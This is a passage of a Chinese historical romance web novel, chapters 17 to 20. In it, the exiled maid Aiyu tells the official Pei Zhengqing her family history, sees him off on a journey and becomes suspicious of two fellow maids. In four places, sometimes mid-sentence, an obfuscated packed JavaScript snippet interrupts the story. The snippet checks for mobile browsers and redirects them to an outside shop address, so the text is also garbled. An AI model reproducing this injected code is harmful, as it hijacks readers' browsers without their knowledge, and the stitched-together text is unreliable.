在阿渔没有注意到的地方,裴正卿平静的双眸悄悄换上温柔的笑意,嘴角也扬起一抹宠溺的弧度,在身旁之人发现前,立刻若无其事地恢复原样。 “你觉得如何?”裴正卿突然出声问道。 阿渔一愣,心下犹豫,觉得他应该是在问字,遂在腹中斟酌了几个字,拍马屁道:“奴婢不通书法,只觉得大人的字儿甚是精妙,可谓是笔走龙蛇,飘逸洒脱。” 裴正卿轻笑一声,将最后一个笔画收尾,而后放下毛笔,接过阿渔手中的茶。 只见天蓝色的茶盏中茶汤浓稠,泛着一层厚厚的乳白色泡沫,两株翠竹亭亭玉立,跃然其上,与茶沫融合得恰到好处。 裴正卿浅啜一口,眉梢微挑,眸中闪过一丝惊讶道:“甚好。” “大人谬赞。” 裴正卿饶有兴致地问道:“听闻刺史刘文会的妻族出身河东柳氏望族,你的点茶技艺这般高超,可是柳氏的家生子?” 阿渔闻言身体陡然一僵,脸色刷一下变白,嘴角抿成一条直线,半晌不语。 裴正卿原本只是顺嘴一提,见阿渔这般反应,不由得有些奇怪。 须臾,阿渔艰涩地缓缓开口道:“回大人,奴、奴婢是......是罪奴。” 说罢,她立刻伏首跪了下去。 上首的人没有反应,阿渔内心愈发惴惴不安。 她不由得在心里猜想,或许是下一瞬,眼前的男人便会唤来门外的侍卫,将她拖走,扔出东院,眼下享受到的一切都将烟消云散。 由俭入奢易,由奢入俭难。一想到来到栖云堂后,云锦华服、仆从伺候、处处不一般的优待......阿渔阖上双眸,心下惋惜。 不止如此,若是被赶出东院,届时柳氏定不会轻饶了她,虽不至于要了性命,但多少会让她吃点苦头。更可怕的是,她的美貌是原罪,柳氏绝不会轻易放她离开,而是待价而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯?”裴正卿含笑蹙眉歪了歪头。 阿渔反应过来,抿了抿嘴,改口道:“我......我姓谢。” 裴正卿若有所思:“旧时堂谢王前燕,谢姓可是陈郡望族。” 阿渔却摇了摇头,认真地回道:“奴......我祖上出身西北,同陈郡谢氏并无联系。听家中长辈说,前朝末年西北战乱,祖上与亲人失散,沦为流民,食不果腹,险些饿死,幸得一名姓谢的恩公救助。恩公无子,祖上便随他改了姓氏,继为嗣子养老送终。” 裴正卿恍然大悟:“原来如此,南米北面,江南人大多不精面食,难怪你午膳会让厨房准备翠缕面。” “......” 阿渔心里却有些不赞同,江南虽喜米饭,却也不乏面食,做翠缕面只是偶然,与她祖上有何干系? “西北谢姓......若我没记错,圣上登基以来西北并无战事,除却砍首了一些贪污枉法的官员,并无抄家流放之事,莫非是——”裴正卿心念一动,心下已有一个猜测。 阿渔默了默,缓缓开口道:“大人可曾听闻十七年前的乌堡城兵变?” 17. 忆身世 在阿渔那句“大人可曾听闻十七年前的乌堡城兵变”落下后,裴正卿眸光微闪,却并不意外,仿佛方才已有所料。 “略有耳闻。”裴正卿凝神回忆片刻后,徐徐开口道。 “那是先帝还在位时的事。十七年前中元节那日,朝廷收到凉州八百里加急奏报,称突厥军队已经偷袭拿下陇右数州,如今即将突破河西走廊上最后一道屏障,朝着关内东进而来。圣上大怒,急调兵抵御,又下令彻查,方才得知原来突厥人收买策反了乌堡城的戍军,大开城门联合突厥人以下犯上杀了乌堡城的守捉使。” “乌堡城地势险要,易守难攻,是陇右道的咽喉要道之一。突厥军队反客为主占据乌堡城后,伪装成一队向晋朝进献的小国商队,又挟持城内的晋人兵士作为扈卫,一路东进,长驱直入,直到白水城才被发现。然而,彼时晚矣,突厥军队已经占据大半陇右道的戍城和驿站,请求援兵的文书皆被截获,直到一个驿使侥幸逃脱方才传入朝廷。” “那场战役朝廷损失惨重,虽然最后将突厥人赶回天山以外。但此事到底成了先帝的一个心结,势要以铁血手段严惩渎职官员。直到当今圣上登基,方才结束这场浩浩荡荡的清算。” 裴正卿说罢,房内陡然陷入一片寂静。 半晌,阿渔才缓缓开口道:“往事确如大人所言,大人可知彼时白水城的主官是何人?” 裴正卿轻轻摇了摇头:“十七年前,我方进入国子监研习太学,尚未进入六部理事,先父彼时任兵部侍郎,这些事大多从他口中听闻。至于当时白水城的主官,我确实不知。” 不知不假,但看阿渔脸上的神情,裴正卿心中已经有了一个猜测。 果不其然,阿渔道:“他姓谢,是我的祖父。” “十七年前,祖父谢阆桓原本只是白水城内一名普普通通负责管理屯田造册的文官,可偏巧时任白水城主官的守捉使意外坠马而亡。时任陇右道节度使将此事禀报上去,请朝廷尽快派下新的守捉使,另一边令白水城内其他官员推举出一人暂任副守捉使,代理城内事宜。” 依晋制,兵之戍边者,大曰军,小曰守捉,曰城,曰镇。一个守捉城驻兵规模百人到千人不等,负责戍卫西域,保障驿传,管理屯田。 “然而新守捉使还未到任,白水城内不知自何处涌出大量流民,以至城内一片内乱,于是我的祖父便阴差阳错成了副守捉使。后来才知那些流民原是附近戍城和驿站内的平民,因为突厥军队假借进献商队的名义混入城中烧杀抢掠,以至城内平民破人亡,流离失所,沦为流民,只得逃难至白水城。” “后来朝廷派了援军将突厥人赶走,战事才结束。先帝事后清算相关官员,祖父因战事发生时暂任白水城主官,误军情,判斩首,族内其他人则徒二十年,刺千里。” 阿渔说罢,垂下眼帘,眸光黯然。 十七年前,她还尚未出生,族中老幼便尽数获罪,刺配江南沿海采珠服役。 她的祖父是个再传统不过的文人,原只是白水城内一名普普通通有些资历的官吏,赶鸭子上架成了副守捉使,偏就那么巧遇到突厥人偷袭,阴差阳错遭到处置,连累全族流放。 她爹爹少年得意,十岁出头便是秀才,十八岁中了举人,原打算三年后下场考取进士,却遇到抄家流放的恶事,夺了举人功名,刺青黥面,远离故土,郁郁不得志。且因终日劳役,坏了身子,以至英年早逝。 若不是时任乌堡城守捉使残暴恣睢,节度使睁一只眼闭一只眼纵容行事,城内戍兵也不会走投无路,以至联合外族以上犯下。 若不是沿途戍城官员尸位素餐,也不会轻易让突厥军队这般轻易蒙混过关,直到白水城方才揭穿。 若不是时任白水城守捉使意外身亡,她的祖父也不会被拿来顶罪,更不会有抄家流放的惨事。 阿渔黯然,回头来看只觉不可思议,可偏偏就是这么多巧合同时发生了。 裴正卿眼底闪过一丝心疼,抬手想去抹掉她眸中的伤痛,却又怕举止失礼,让她心生反感,遂又强行克制地将抬到一半的手放下。 默不作声地为她续上一盏温热的茶,裴正卿思忖片刻,轻声道:“按晋朝律法,若表现良好,可提前消去奴籍,恢复良身,届时你便不再是罪奴。” 阿渔眸光先是一亮,而后暗淡下去:“按理儿,确实如此。” 只是谈何容易,她心道。 按理表现良好,且有人求情,罪奴便可脱离罪籍,离开流放地,返回原籍。 然而实则,犯人若未能在期限内获得皇帝恩准,可能被延长甚至终身流放。她的祖父活着时只是一个边疆小吏,既无势力,又远离朝堂,怎会在有人愿意舍面去圣上面前为她们说情。 且流放地环境恶劣,许多犯人或是因严寒酷暑、或是因疾病劳疫早早便死在了路上,便是顺利或者到的也往往活不了多久,正如她爹爹,她当真能活到脱离罪籍的那一天么? 似是看出了她的担忧,裴正卿犹豫片刻,终是鼓起勇气,轻轻握住她的手。 感受到手心的细腻,裴正卿温润如玉的脸不由得泛起一抹微红,他羞赧地咳嗽一声,眼神温柔但坚定地一字一句道:“莫要担心,我说过你既进了我栖云堂,我定会护你周全。” 阿渔呆愣愣地看向他,瞬间撞进他眼底温和浩瀚的星光,周身的落寞低沉奇异地被安抚下来。 待回过神,方才感受到包裹在她小手儿外的力量,阿渔双颊迅速染上绯红。 她轻轻往回抽了抽手,感受到大手稍稍松了点劲儿,手心顺势滑出,阿渔一愣,说不清心里莫名涌上的是什么心情,陡然加大了手中挣扎的力道。 “说的好听......”阿渔低声咕咕哝哝。 “嗯?”男人低低地用鼻音轻疑,指尖微动,却是手心向内收紧,牢牢地握住她削葱般的纤纤玉指,干燥的温热通过指尖传递到阿渔的四肢百骸,奇异地安抚住她方才那点赌气的恼怒。 阿渔垂首羞赧地咬了咬唇,眼睛盯着男人挂着腰间的玉佩,脑中不由自主地回想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自那日书房谈话后,阿渔明显感觉到她和裴大人之间的气氛发生了微妙的变化,一种说不上来的变化。 裴正卿温和儒雅,先前阿渔虽然不害怕他,却因着罪奴身份这颗隐藏的炸弹,心里难免惴惴不安,唯恐他将她赶出东院。 而自从那次书房谈话后,阿渔面上虽然依旧恭敬,私下与他的对话却轻松了许多,连自称“我”都变得十分自然,甚至有时没大没小,听得常喜瞪大了眼。 不过裴正卿也并非一直待在栖云堂,即便每日回府,也是早出晚归,有时一整天阿渔都不一定能见到他。 不需要时时刻刻地在一旁伺候,阿渔倒乐得清闲。 直到一天早上,阿渔听见栖云堂外传来“得得”的马蹄声,一人一仆系着披风,带着简单的行李牵着马往角门走去,似是要动身远行。 阿渔连忙随意挽起一个发髻,从东耳房取出一件物什,急急朝着角门追了上去。 18. 长亭别 “大人,等等——” 阿渔捧着手中的东西,气喘吁吁地追了上去。 只见角门外,男人牵着高头大马,明明是清癯儒雅的文官,此刻站在骏马旁边却出奇地一点也不突兀,单单看背影,甚至会让人觉得他是即将带兵出征的,意气风发的将军。 裴正卿正要飞身而上,听见声音忽然动作一顿,略带些许诧异地回首,见来人是阿渔,忙示意常喜停下。 “大人可是要出远门?” “正是。”裴正卿松开马鞍,松开披风的扣结,解下披风为阿渔披上,便系绳结边解释道,“天色还早,担心扰了你的清梦,便没去与你告辞。我留下了口信,原打算让守在书房外的侍卫待你醒了再告诉你。” 此时方才寅时,天刚蒙蒙亮,府里众人皆还在睡梦中,便是平日里最早上值的厨房仆从都尚未苏醒。东院里除了看守栖云堂的侍卫,便只有角门的三人还醒着。 厚实的披风落在阿渔身上,带着男人身上温热的余温,将她裹得严严实实,一股好闻的龙脑香自披风的领口传来,萦绕在她的鼻端。 阿渔羞赧地垂眸,任由男人为她系好披风后,小声回道:“我方才正好醒了一下,听见房外的马蹄声,便想出来看看。” 男人温柔的声音从头顶传来:“前些日子曹清江流段出了事,眼下有了些眉目,需要我尽快赶过去处理。事情来得突然,我也是昨夜子时方才得知,便没来得及同你说。” 阿渔听明白了他这段话是在解释为何突然不告而别。 她的心头蓦然涌上一丝甜蜜,嘴角微抿,忽然想起自己追来的目的,忙将手中的东西递了过去:“这是我从耳房取来的斗笠和雨蓑。方才听见马蹄声,便猜到大人要出门。吴州夏季雨水纷纷,若是淋了雨,身上着了凉便易感染风寒。斗笠雨蓑多少能有些用处,大人务必要带上。” “好。”裴正卿温柔地应道,接过阿渔手中的斗笠和雨蓑,将这两件沉甸甸的物什牢牢地抱在怀中。 阿渔脑中飞快地思索还有哪些要注意的事还未交代。 “江南不比京城,潮湿闷热,河边水汽尤其湿重,大人在外巡查河道,莫忘了要顾好自个儿的身子,注意添衣。夜晚若是蚊蚁叮扰,大人可在床边放几株薄荷,内服外用均可,亦可让人去附近采些艾草、蒿草挂在帐外,或者燃烧产生烟雾。” 不知裴大人这次要走多久,阿渔将凡是能想到的危险事无巨细地一一叮嘱。 裴正卿弯腰平视她的眼睛,认认真真地听着,阿渔每说一句他都乖觉地应一句,不知不觉眼底聚满了温柔的笑意。 常喜在一旁听得嘴巴越张越大,一整个目瞪口呆。 他应不应该告诉阿渔姑娘,她眼前“涉世未深”的裴大人,十岁出头便同老爷,已故裴尚书随扈先帝下过江南,当时阿渔姑娘都还没出生呢! 而且他们大人又不是第一次来过吴州,不仅熟悉人文地志,连吴州城内皇帝巡游下榻的园林都是他们家大人修的哩! “还有,大人定要留心石缝和草丛茂密处。”阿渔正说着,抬眼看到裴正卿脸上温柔盈盈的笑意,羞赧地垂下眼帘,“下月便是端午,五毒盛行,潮湿阴暗易产蛇卵,若是一个不甚,便......” 声音戛然而止,看着常喜脸上愕然的表情,阿渔方才反应过来是否自己刚刚说得太多了。 是了,眼前的男人可是圣上亲封的江南东道水陆运使,是江南最大的官儿,连吴州刺史都要讨好他,便是她什么都不叮嘱,自有人争着抢着为他将这些事做了,何须她多管闲事。 思及此,阿渔抿了抿唇,不再多说什么。 裴正卿一直注意着阿渔脸上的表情,自然发现了她的变化,淡淡地朝常喜瞥去一眼。 常喜缩了缩脖子,识趣地牵着马默默离远了些。 裴正卿弯腰,凑在阿渔耳边,轻笑一声低低道:“谨遵阿渔姑娘命令。” 阿渔抬首,小脸儿布满霞绯,娇嗔地瞪了他一眼。 作甚说这样的话,她又不是主子! 对上阿渔娇滴滴、羞答答的媚眸,裴正卿猝不及防击中心房,脑中忽然出现一首诗“雨后荷花口口口,满城春色映朝阳。” 撩人不成反被撩,许是小姑娘自个儿都不知道自己现在的模样有多美,裴正卿狼狈地侧了侧身,咳了咳干痒的喉咙,一本正经地转移注意力。 “此去归期未定,短则五六日,长则十天半月。我已交代邹妈妈不许指派给你其他的活计,你便安心留在栖云堂,若是觉得无趣,可去园子里逛逛。” “嗯。” 听不出高兴还是不高兴地应下。 裴正卿勾唇浅笑,突然伸手轻轻揉了揉阿渔的脑袋,缓缓道:“等我回来。” 阿渔垂眸盯着他锦袍的衣角,咬了咬唇,终于轻轻地“嗯”了声。 送君千里,终有一别。 裴正卿利落地翻身上马,拉着缰绳,控制着座下的马儿不要乱走,回首对阿渔笑着点了点头:“回去罢,莫着了凉。” “你走了我就走。”阿渔坚持。 裴正卿拗不过她,无奈地笑了笑,只得一挥马鞭,口中轻喝“驾”,而后便策马离去。 阿渔定定地站在原地,看着他远去的方向,心里空落落的,呆愣愣地凝视着直到一人一马的身影逐渐隐匿在白白的雾霭中消失不见。 半晌,阿渔轻轻地叹了口气,正待转身回去。 刚走了两步,突然她脚步一顿,想到自己方才的行为委实像极了送丈夫出远门的小妻子。 这个念头一升起,一股热气“腾”地一下从她的脖颈窜上脸颊,阿渔感受头皮酥酥麻麻,白皙的脸颊一阵阵地发烫。 “啊啊啊!分明不是那个意思,当真是......真真是......”阿渔轻咬红唇,捧着自己滚烫的脸颊,娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481265|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞地在原地扭了扭身子,又怕早起的旁人看见,逃也似地用披风掩着红彤彤的面容躲回屋内。 真真是羞煞人也! 城外河边营地 裴正卿利落地下马,拿上斗笠蓑衣,将缰绳扔给前来迎接的常福,问道:“人抓住了?” “回大人,抓住了,奴才将他捆了起来关押在主帐内。” 裴正卿眼含笑意,满意地点点头,大步朝主帐走去:“做得好,自个儿记上一笔,回城后领赏。再派一队人过来,将主帐围住,不准任何人靠近,包括你们两个。” 常福、常喜拱手抱拳应下:“遵命。” 待完成主子方才的交代,常福走到牵马的常喜身旁,迟疑地问道:“出了这样的事,主子怎的一点都不生气,反而还有些呃......高兴?” 常喜漫不经心道:“这样的事是哪样的事啊?咱们大人沉稳能干、智谋出众,眼下这点小事又算得了什么。” 常福蹙起眉头,仍觉不对,敏锐道:“不对,话虽如此,可大人的表现实在太不同寻常。” 洪州刺史徐彭贪赃枉法,私吞朝廷赈灾粮,贪污赈灾银两,倒买倒卖,以次充好修筑堤坝的石料,以致曹清江流段屡屡决堤,水患迟迟未得治理。不止如此,这徐彭平日任时尸位素餐、接受贿赂、买卖官职...... 数日来的意外皆是徐彭这个朝廷蠹虫在背后使坏,攫取好处,他昨夜派人快马加鞭送信给大人正是交代此事。 按照往常,发生这样的事,大人即便不大发雷霆,也是面色凝重,怎的也不会这般轻松。 常福是裴正卿的奶兄弟,自小跟在他身边,不会看不出他的反常,担心大人莫不是气昏了头,严肃道:“莫要打岔,你平日跟在大人身边寸步不离,最是了解大人的情况,跟我说实话,大人今日为何这般反常?” 常喜嬉皮笑脸,原想打个哈哈混过去,却在常福板起脸后怂了下来,讪讪一笑酸溜溜道:“你看你,那么严肃做甚么。还能是为何,英雄难过美人关呗!” 常福蹙眉不解:“什么意思?” “你个二愣子,真不知道你是怎么娶到媳妇儿的。那吴州刺史刘文会的夫人柳氏给咱们大人送了三个貌美如花的丫鬟当婢女,你总晓得吧?” 常福点头,他虽常守在营帐,不常回府,但这种大事还是多少知道些。 常喜接着道:“说是婢女,其实就是通房其中有一个最高挑,最好看的叫阿渔,不知怎的入了大人的眼,不仅将她调进栖云堂,还让院里的人将她当半个主子伺候。大人今儿个这么高兴,就是因为美人儿一早便追出来又是送斗笠蓑衣,又是嘘寒问暖,关怀备至的,大人自然心里就美了呗!” “......” 常福半信半疑:“当真?大人何等美人没见过,便是先......亦是绝色,也不见大人恍了神,怎会被区区一个貌美的婢女左右了情绪?” 19. 枇杷熟 常喜说了实话还被质疑,顿感奇耻大辱,跳脚道:“骗你作甚!你这是......饱汉不知饿汉饥!” 常福哑然失笑,觑眼看他:“你是说大人,还是在说你?” “......” 这呆头呆脑的常福,平日里不声不响的,还以为是个木讷老实的,没想到眼睛这么毒,一眼就把他看穿了。 常喜讪讪地撇撇嘴:“行行行,是我行吧!”他小声地咕咕哝哝道,“三个年轻貌美的丫头,主子一下子就把最好的挑走了,剩下的一个不安分,一个呆傻嘴馋,何时我常喜也能媳妇孩子热炕头呐!” 京城里的高门大户里,丫鬟、小厮互相通婚实属常见。如常喜这般,既生得年轻俊俏,又在主子身边得脸的小厮,主子往往会将不得宠的通房丫鬟,或者正头娘子身边的一等婢女配给他当媳妇儿。 明眼人都能看出,东厢房中阿渔相貌最好,常喜自然有过期待。偏巧这次主子同样对她上了心,当真‘情’之一字难测。他在一旁看得真真的,只得悄然按下那点曾经的小心思。 至于瑶琴,常喜吓得抖了抖身体,他可万万不敢肖想。 常福难得开了个玩笑,打趣道:“你成日在府里逗弄这个女使,逗弄那个丫鬟,跟只花蝴蝶似的,我可没看出你有成家的心思。” 听到常福毫不留情地揭穿,常喜恼羞成怒,阴阳怪气道:“哎哎哎,你个不解风情的锯嘴葫芦懂什么,我只是想给府里每个孤独的小丫鬟送送温暖,况且我又没真的对她们做什么。真不知道你这样不会说漂亮话的木头脑袋,嫂子当初是怎么看上你的,定是大人从中撮合安排。” “......”常福无语:“多从你自个儿身上找找原因罢。” *** 东院 栖云堂内,阿渔将披风解开,摊放在绣榻上。 只见这件直领对襟玄色潞绸披风,外面一层用了上好的杭绸,光滑垂顺,在阳光下泛着极好的光泽;里面一层用了极繁琐的工艺,看着平平无奇,触之却觉异常柔软,兼顾保暖和防护,却又不过分华丽,显然是一件不可多得的珍品。 许是大人常用的原因,披风的衣角、领口、袖口已经有了些许轻微的磨损,兼之大人身边的常喜又是个粗心的小厮,以致肩头绽线了也没发现。 阿渔将披风细细地检查了一番后,从绣筐里拿出剪子和绣花针,将那段线头剪断,打算重新缝补缝补。 可待凝神细看披风的样式和走线,她却犯了难。 粗粗来看,披风是玄色的,可肩头却用上好的织金丝线绣着团团祥云,然而阿渔手中又没有这种织金丝线。若用普通黑色丝线代替,未免一眼便让人注意到纹路的断裂,反而弄巧成拙。 阿渔捏着绣花针踌躇了片刻,突然灵光一线,捏起细针对着肩头灵巧地穿针引线。不消片刻,一株挺拔清秀的翠竹便栩栩如生地绣了出来,青色丝线同织金交相辉映,原本雍容华贵的披风瞬间多了些许清雅脱俗。 阿渔将指尖细细地在竹叶上摩挲,心头蓦然涌上一股甜蜜。 补好披风后,阿渔看日头正好,便令人拿去洗了晾晒,而后用铜壶熨斗细细地将每一处褶皱熨平。思及大人归期未定,她只得将熨好的披风暂时收入箱笼中,并且放置一个熏笼,内含兰草、白芷、安息香,以此防虫防潮。 过了三五日,阿渔将箱笼打开扑鼻而来的便是一股好闻的清香,清幽幽、甜丝丝的,混合着沁人心脾的草木香,是极清雅的女香,反而披风上原先的龙脑香已经变得极淡极淡,几近不可嗅出。 裴大人还未回来,枇杷园的果子倒是都成熟了。 一次,阿渔闲来无事逛园子时,无意间被一颗圆溜溜的东西砸了脑袋。 “哎呦”一声,她捂着痛处气恼地回头,想要抓出凶手,却发现“凶手”只是一棵被累累果实压弯了腰的老树,而方才袭击她的“凶器”则是一颗黄澄澄、圆滚滚的枇杷果儿。 阿渔循着踪迹进了枇杷园,只见树上果实累累,像金子一样颗颗垂挂,熟透的枇杷果儿无人采摘,或是被贪嘴儿的鸟雀啄落,或是某一个瞬间果熟蒂落,自然而然地脱离枝头,落入尘土,零落成泥。 细雨茸茸湿楝花,南风树树熟枇杷。 阿渔不由得新奇,原来在她不曾留心的时候,一场大雨过后,果儿已经悄然成熟。 不知大人何日归来,若是再晚些,枇杷果儿便会尽数凋落,阿渔心下怅然。忽然,她心念一转,脑中顿生一个主意,唤来附近的粗使婢女,将树上颗大饱满的成熟枇杷果尽数摘下,收集到篮子里,有多少要多少全部送到厨房。 随后阿渔唤来李七儿,交代她收到枇杷园送去的果子后,将枇杷去皮去核,取其果肉,而后碾碎捣成果泥,放入铁锅中加入红糖熬煮,直至成膏后送到栖云堂。 李七儿立刻诺诺应下,自从上次阿渔指定她做翠绿面,还得到赏钱后,李七儿便在心底认定了阿渔,凡是阿渔的吩咐,定一丝不苟地完成。 她心里明镜似的,左右已经彻底得罪了贾婆子,与其每日受着贾婆子的刁难,等着被逼出东院的厨房,不如索性抱紧阿渔姑娘的大腿,或许还有一条出路。 众人在枇杷园内摘果子,阿渔时不时过来看看进展,一日冷不丁从身后传来一道迟疑的声音。 “......阿渔?” 阿渔正轻摇罗扇,蓦然听到这句有些耳熟的声音,循声回首见果真是故人。 汀兰兴冲冲地跑过来,不敢置信地上下打量两眼,惊叹道:“阿渔妹妹,竟然真的是你!天爷呀,你穿成这般,举止气度和之前都不一样,像......像大户人家的小姐,我方才险些不敢认。” 汀兰这话倒是没错,只见阿渔穿着栀子黄轻薄香罗抹胸,外面罩着淡黄窄袖短衫儿,搭配郁金百褶裙,清丽俏皮,又格外夺目。头上再也不是普普通通的双丫髻,而是戴着镂空金球簪,穿着银鎏金折股钗,耳朵上戴着葡萄形水晶耳坠,脸上是光彩夺目的檀晕妆,手执一柄素绢团扇,真真宛如一个逛园子的大家小姐。 阿渔先前确实不敢这般打扮,她知道自个儿生得美,若不能自保,又没有人来庇佑她,美丽的容貌只会成为害死她的凶器,故而她先前根本不敢招摇。 但今时不同往日,如今她进了栖云堂,有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481266|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人的庇护,莫说邹妈妈,便是柳氏也不敢轻易拿捏她,是故她自然要随着自个儿的心意,怎么开心怎么来。 阿渔掩嘴浅笑:“怎的一段时日未见,汀兰姐姐变得这般花言巧语?都学会拿妹妹开玩笑了,真真是羞煞人也。” “才不是玩笑,我说的都是真真的。”汀兰嘟起嘴说道。 二人在亭内坐下,阿渔问道:“我离开东厢房后,大家可还好?” 若是不知情的人听到,还以为先前她们四人关系多么亲密。 汀兰素来大大咧咧的,不懂这些弯弯绕绕,心直口快道:“一点都不好,实是无趣极了!云裳总是跟我吵架,她还想霸占你的房间!多亏我严防死守拦住了,方才没让她得逞,不然哪日你要是回来就没地方睡了。” “......” 汀兰说罢方才意识到不妥,忙不迭地找补道:“阿渔你别误会,我不是在诅咒你被赶回来。” 阿渔哭笑不得道:“我明白。” 东厢房内三间客房,一间耳室,只有云裳一人住的是狭窄简陋的耳室,依她的个性,当初没立刻闹起来,现在还能忍这么久,属实难得。 阿渔已经搬到栖云堂,随身的物件也都已经带过去,东厢房内没有留下任何东西,云裳住不住进去,她倒是并不在意。 汀兰撅着嘴继续抱怨道:“你不知道我现下过的都是什么苦日子,那厨房的贾婆子就是个势利眼,先前我们刚来时,还每日送些好吃好喝的饭菜来,现在见大人不搭理我们,每日送来的饭菜也都变得特别敷衍。我先前好歹也是个二等女使,现在每日的膳食却同府里最低等的粗使女使一般,若不是我娘每日偷偷送来饭菜接济我,这东院我是一刻也呆不下去了。” 吃得好,心情就好,现在汀兰心情非常得不好! 阿渔闻言若有所思,看来贾婆子这个刁奴的背景当真够硬,连汀兰这个大厨房管事妈妈的亲闺女都在她手里讨不了好,这样的人放在东院的厨房迟早是个隐患。 阿渔脑中霎时百转千回,面上仍不动神色地安慰道:“吃是吃得差些,但好歹你现在每日做的活计比之前在厨房时轻松不少,也算有得有失罢。” 汀兰撇撇嘴:“若真这么算,我可真真是是亏大了。进东院之前,我娘说得这般好那般好,结果不仅吃不好,你走了之后,我连个说话的人儿都没有,都快把我闷坏了。我和云裳处不来,见面就是吵架,懒得同她说话。那瑶琴是个锯嘴葫芦,冷冷清清的,平日里连话都不曾听她多说一句。” “......” 锯嘴葫芦?非也。阿渔觉得瑶琴应当是有傲气的,自诩是裴府的一等婢女,又是唯一跟着主子下江南的女使,自然自认高人一等,已然将在自己看作主子板上钉钉的通房,莫说看不出起汀兰,恐怕她谁都看不起。 谁知,汀兰接着说了一句:“不过她倒是跟云裳关系挺好的。” ......关系好?瑶琴和云裳? 阿渔倏然间脑海中闪过一丝灵光,她垂下眼帘,长长的睫羽掩住眸底的若有所思,语气如常仿佛漫不经心地问道:“你是说,瑶琴和云裳处得很好?” 20. 现端倪 “是啊。”汀兰丝毫没有察觉自己无意间说了一个多么重要的线索。 阿渔不动神色道:“倒是出人意料,先前在东厢房,也不曾见她们有过什么交集,那瑶琴待人疏离客套,倒不曾想与云裳谈得来。老话说白头如新,倾盖如故,看来这人和人的交情当真是来得莫名其妙。” 汀兰嗤笑一声,道:“什么白头如新,倾盖如故,我看是臭味相投还差不多。前儿个我回去晚了些,偶然撞见她们二人在角落里窃窃私语,一副相交甚好的模样。我原想打个招呼,却不曾想未等走近,她们二人便立刻闭嘴,看都不看我一眼各自回了房,将我一人留在原地。” “哦?还有这种事?”阿渔闻言若有所思。 汀兰嘟着嘴,一副义愤填膺的模样:“可不是!依我看,定是云裳记恨先前分房时吃的亏,我又阻拦她霸占你的房间,所以对我怀恨在心,趁你不在,伙同瑶琴一起孤立我,想将我逼走!” 阿渔闻言秀眉微蹙,只觉得事情没这么简单。 若只是孤立汀兰,倒像云裳的手笔,但瑶琴却决计不会。并非是她多么善良,而是因为汀兰心思单纯,毫无城府,喜怒哀乐都写在脸上,根本不足以对她构成威胁。故而,瑶琴绝非只是受到云裳的挑唆或者收买便同她一起孤立汀兰,这其中定有更大的阴谋! 阿渔心念一转,暂且记下这桩疑惑。 翌日 李七儿将熬好的枇杷膏装进六个相同的,半透明的白釉瓷瓶中,送到了栖云堂。 只见加了红糖熬煮得到的枇杷膏呈现出深褐色的光泽,质地黏稠,用瓷勺轻搅可以拉扯出晶莹的长丝,轻轻摇晃,膏体会在瓷瓶内壁缓慢流动。 阿渔挖出一小勺,放到鼻端轻嗅,只觉不同于新鲜枇杷果的馥郁果香,熬煮得到的枇杷膏散发着草木般的清香,混合着甜滋滋的糖水儿味。送入口中浅浅品尝一口,舌尖霎时间绽放出清凉甜蜜的味道。 “可是加了薄荷?”阿渔惊讶地问道。 李七儿回道:“姑娘聪慧,正是加了薄荷。府里厨房有位擅熬果膏的嬷嬷曾告诉奴婢,薄荷有清凉止咳,和胃降气的功效,若是在制作果膏时加入多有裨益,正适合夏日饮用。” 阿渔点点头,问道:“树上的枇杷果儿可还有多少?” “回阿渔姑娘,厨房收到了二十斤枇杷果儿,熬煮得到两斤稠膏,平均十斤果儿一斤膏,树上的熟果儿已经所剩无几,只有一些青皮果儿未摘下。只是,眼下小满时节已过,一场雨水过后,那些青皮果儿恐遭雨打掉落在地,不适合再用来做熬煮成膏了。” 李七儿以为阿渔嫌枇杷膏太少,想将剩下的果儿一并摘下熬膏。 阿渔却是在想,距离裴大人离开已有七日了,不知他何时会回来。 朝廷规定,官员立夏放假一天,端午一天,夏至三天,三伏一天。小满虽是节气,却并不放假,若是等到端午,枇杷果儿便已经尽数凋落。好在虽然不能游园赏果,好歹她摘下了枇杷果儿熬煮成膏,不算太过遗憾。 六瓶枇杷膏,说多也不多,说少也不少,她一个人就算每日都吃,到明年也吃不完,便是再多三五人一起吃,也能吃上好几个月。 眼看天气一天热过一天,便是将枇杷膏装在干燥洁净的瓷瓶里,封住瓶口,最多也只能保存到秋天。 阿渔心念一动,拿出一瓶枇杷膏去了东厢房送给了汀兰。 